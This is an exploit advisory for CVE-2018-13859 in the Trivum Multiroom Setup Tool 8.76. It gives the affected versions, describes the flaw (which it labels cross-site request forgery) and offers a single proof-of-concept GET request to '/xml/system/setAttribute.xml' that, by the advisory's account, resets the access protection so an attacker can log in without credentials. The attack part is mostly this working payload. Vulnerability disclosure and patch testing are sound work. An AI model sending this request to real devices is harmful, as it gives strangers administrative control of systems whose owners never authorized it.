Trivum Multiroom Setup Tool 8.76 Cross Site Request Forgery

`# Exploit Title: Trivum Multiroom Setup Tool 8.76 - Corss-Site Request Forgery (Admin Bypass)  
# Date: 2018-07-25  
# Software Link: [https://world.trivum-shop.de](https://world.trivum-shop.de/)  
# https://world.trivum-shop.de/# Version: < 9.34 build 13381 - 12.07.18  
# Category: hardware, webapps  
# Tested on: V8.76 - SNR 8604.26 - C4 Professional  
# Exploit Author: vulnc0d3c  
# CVE: CVE-2018-13859  
  
# 1. Description  
# MusicCenter / Trivum Multiroom Setup Tool V8.76 - SNR 8604.26 - C4 Professional before V9.34 build 13381 - 12.07.18,  
# allow unauthorized remote attackers to reset the authentication via "/xml/system/setAttribute.xml" URL, using GET request  
# to the end-point "?id=0&attr=protectAccess&newValue=0"  
# (successful attack will allow attackers to login without authorization).  
  
# 2. Proof of Concept  
# GET Request  
  
http://target/xml/system/setAttribute.xml?id=0&attr=protectAccess&newValue=0  
  
`